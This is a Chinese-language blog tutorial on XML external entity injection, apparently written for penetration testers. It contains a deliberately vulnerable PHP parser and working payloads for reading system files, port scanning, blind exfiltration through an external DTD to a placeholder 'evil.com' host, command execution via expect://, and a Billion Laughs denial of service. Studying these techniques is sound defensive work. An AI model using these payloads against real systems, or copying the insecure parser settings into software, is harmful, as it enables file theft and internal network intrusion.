zoukankan      html  css  js  c++  java
  • XXE (XML External Entity Injection) :XML外部实体注入

    XXE (XML External Entity Injection)

    0x01 什么是XXE

    XML外部实体注入
    若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入

    0x02 XXE利用

    简单文件读取

    基于file协议的XXE攻击

    XMLInject.php

    <?php
    # Enable the ability to load external entities
    libxml_disable_entity_loader (false);
    
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    
    # http://hublog.hubmed.org/archives/001854.html
    # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
    # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
    
    $creds = simplexml_import_dom($dom);
    $user = $creds->user;
    $pass = $creds->pass;
    
    echo "You have logged in as user $user";`?>
    

    file_get_content('php://input')接收post数据,xml数据
    XML.txt

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <creds>
    <user>&xxe;</user>
    <pass>mypass</pass>`</creds>
    

    导致可以读出etc/passwd文件
    在使用file://协议时,有以下几种格式:

    file//host/path
    * Linux
     file:///etc/passwd
    *  Unix
     file://localhost/etc/fstab
     file:///localhost/etc/fstab
    *  Windows
     file:///c:/windows/win.ini
     file://localhost/c:/windows/win.ini
    * (下面这两种在某些浏览器里是支持的)
     file:///c|windows/win.ini
     file://localhost/c|windows/win.ini
    

    XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
    <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
    ]>
    <root><foo>&content;</foo></root>
    

    基于netdoc的XXE攻击

    ==XML文档是用Java解析的话,可利用netdoc

    <?xml version="1.0"?>
    <!DOCTYPE data [
    <!ELEMENT data (#PCDATA)>
    <!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
    ]>
    <data>&file;</data>
    

    来源:@Nirgoldshlager

    端口扫描

    加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public

    私有类型DTD加载:

    <!ENTITY private_dtd SYSTEM "DTD_location">
    
    

    公共类型DTD加载:

    <!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
    
    

    在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
        <!ENTITY portscan SYSTEM "http://localhost:3389">
    ]>
    <root><foo>&portscan;</foo></root>
    

    因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

    利用DTD进行数据回显

    有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。

     <?xml version="1.0" encoding="utf-8"?>
     <!DOCTYPE root[    
     <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">     
     <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">    
     %dtd;     
     %send;]>
     <root></root>
    

    evil.dtd

     <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">
     %payload;
    

    在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容

    远程命令执行

    需要 PHP开启了PECL上的Expect扩展

    <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE root [
      <!ENTITY content SYSTEM "expect://dir .">
     ]>
     <root><foo>&content;</foo></root>
    

    攻击内网网站

    <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE root [
      <!ENTITY exp SYSTEM "http://192.168.1.103/payload">
     ]>
     <root><foo>&exp;</foo></root>
    

    利用外部实体构造payload向内网其他机器发出请求

    DDoS

    最典型的案例Billion Laughs 攻击

    <!DOCTYPE data [
    <!ENTITY a0 "dos" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
    ]>
    <data>&a4;</data>
    

    DTD:
    普通实体:DTD中定义,XML中使用,使用格式: &名;  
    参数实体:DTD中定义,定义的时候要用%,DTD中使用,使用格式: %名;
    普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。  
    如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

    0x03 XXE漏洞挖掘

    提交POST请求XML文件

    提交一个POST请求,请求头加上Content-type:application/xml
    同时添加测试代码

    <?xml version="1.0"encoding="utf-8"?>
    <test>cat</test>
    

    通过OOB(Out-of-band)方法远程访问文件测试

    1. 自建一个网站开启80端口
    2. 在测试网站提交payload,如下
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
    ]>
    <GeneralSearch>&dtgmlf6ent;</GeneralSearch>
    

    3.查看网站返回内容
    4.查看自建服务器访问日志,是否有DTD文件等请求

    0x04 XXE自动化工具

    XXEinjector

    0x05 参考链接

    https://b1ngz.github.io/XXE-learning-note/              http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/
    https://security.tencent.com/index.php/blog/msg/69          http://rickgray.me/2015/06/08/xml-entity-attack-review.html              http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html
    http://www.freebuf.com/articles/web/97833.html
    https://zhuanlan.zhihu.com/p/24275040

  • 相关阅读:
    程序打印的日志哪里去了?结合slf4j来谈谈面向接口编程的重要性
    vue项目用npm安装sass包遇到的问题及解决办法
    nginx反向代理配置及常见指令
    你以为你以为的就是你以为的吗?记一次服务器点对点通知的联调过程
    jeecg逆向工程代码的生成及常见问题
    java注解
    终于有了,史上最强大的数据脱敏处理算法
    SpringBoot项目下的JUnit测试
    递归方法
    练习题
  • 原文地址:https://www.cnblogs.com/vincebye/p/7199290.html
Copyright © 2011-2022 走看看